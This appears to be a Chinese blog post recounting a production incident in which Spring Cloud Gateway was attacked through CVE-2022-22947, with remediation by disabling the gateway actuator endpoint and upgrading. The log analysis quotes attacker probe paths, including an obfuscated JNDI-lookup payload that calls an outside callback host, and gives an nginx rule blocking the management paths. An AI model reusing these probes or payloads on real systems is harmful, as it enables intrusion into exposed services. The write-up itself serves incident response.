gateway漏洞(CVE-2022-22947)

一、线上异常

描述:

早上被电话吵醒,线上环境出现Bug,很多接口请求都失败了,绕开网关请求各个微服务都是正常的,经过网关就异常了,观察到页面上接口路径都被莫名其妙的改了,去看日志发现网关出现了 Cannot fetch registry from server reactor.core.Exceptions$ErrorCallbackNotImplemented: java.lang.IndexOutOfBoundsException: Index: 0, Size: 0 。

二、处理

①快速保存k8s日志、pod日志、pod容器到备份文件夹下,保留现场

②赶紧重启网关工作负载

三、分析

分析nginx、网关日志,收集到几个异常路径信息,看来是被搞了

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| /management/gateway/routes/hacktest /management/gateway/Opd /management/VU /management/gateway/OPd?%B2%E9%BF%B4=%7b:-y%7d%7b%7b6pr:-j%7dnd%7benv:fm4:-%7di:d%7bxyf::-n%7ds://log4sports.sztyzx.1729020766114.aotX.null/a%7d /management/VU?%B2%E9%BF%B4=%7b:-y%7d%7b%7b6pr:-j%7dnd%7benv:fm4:-%7di:d%7bxyf::-n%7ds://log4sports.sztyzx.1729020770655.bCwj.null/a%7d |

表明在尝试访问一个空的列表时发生了越界异常。这通常发生在尝试获取路由定义中的谓词(predicates)时,但该列表为空。

以下是一些可能的解决方案:

  1. 检查路由配置:确保您的Spring Cloud Gateway路由配置中的predicates部分没有遗漏。每个路由定义都需要至少一个谓词。如果您的配置文件中有任何路由缺少谓词,这可能是导致问题的原因。
  2. 动态路由问题:如果您使用的是动态路由(例如,通过Actuator端点动态添加或删除路由),确保这些路由正确配置了谓词。如果动态添加的路由没有正确的谓词,也可能导致这个错误。
  3. 升级Spring Cloud Gateway:如果您使用的是较旧版本的Spring Cloud Gateway,可能存在已知的漏洞或错误。考虑升级到最新的安全版本,例如3.1.x或3.0.x的最新补丁版本。
  4. 异常处理:在Reactor中,当发生异常时,可以通过在subscribe方法中指定onError处理程序来处理异常。这样可以避免ErrorCallbackNotImplemented异常。
  5. Nginx配置:作为一种临时解决方案,您可以通过Nginx配置来拦截可能导致问题的路径。例如,可以在Nginx配置文件中添加以下内容来返回404错误,从而避免请求到达后端服务:

|--------------------------------------------------|
| location /(actuator|management) { return 403; } |

然后重新加载Nginx配置。

  1. 日志过滤:如果某些错误日志不是您当前关注的重点,可以通过日志过滤来减少这些日志的干扰。例如,使用Logback时,可以配置EvaluatorFilter来过滤掉包含特定文本的消息。

四、后续解决

①在不影响现有业务下

|-------------------------------------------|
| management.endpoint.gateway.enabled=false |

②Nginx那个配置会影响到现有业务,方案否决

②后续升级gateway网关,检查升级后框架依赖、业务底代码是否有问题

|----------------------------------------------------------------------------------------|
| spring-cloud-gateway-core && spring-boot-starter-gateway升级到 3.1.1+ 版本, 3.0.7+ 版本可以解决 |

相关推荐
codeRichLife13 分钟前
docker拷贝,导入/导出等常用命令
docker
努力搬砖的咸鱼1 小时前
部署你的第一个应用到 K8s
微服务·云原生·容器·kubernetes
故乡de云1 小时前
2026年谷歌云价格走势深度分析:企业如何在高成本时代保持竞争力?
运维·kubernetes·云计算
lpruoyu2 小时前
【Docker进阶-01】Docker隔离原理与可视化界面-Portainer
docker
舰长1152 小时前
使用 kubeadm搭建生产环境的单 master 节点 K8S 集群(一)
云原生·容器·kubernetes
Swift社区3 小时前
Docker 构建 Python FastAPI 镜像最佳实践
python·docker·fastapi
API开发3 小时前
CentOS 单独安装Docker Compose v2
linux·docker·centos·docker compose
hwj运维之路3 小时前
Docker面试题汇总系列
运维·docker·云原生·容器
chao_7893 小时前
双设备全栈开发最佳实践[mac系统]
git·python·macos·docker·vue·全栈
搬砖者(视觉算法工程师)4 小时前
简单介绍Docker:Docker 容器中预装 Ubuntu 20.04 与 ROS Noetic
docker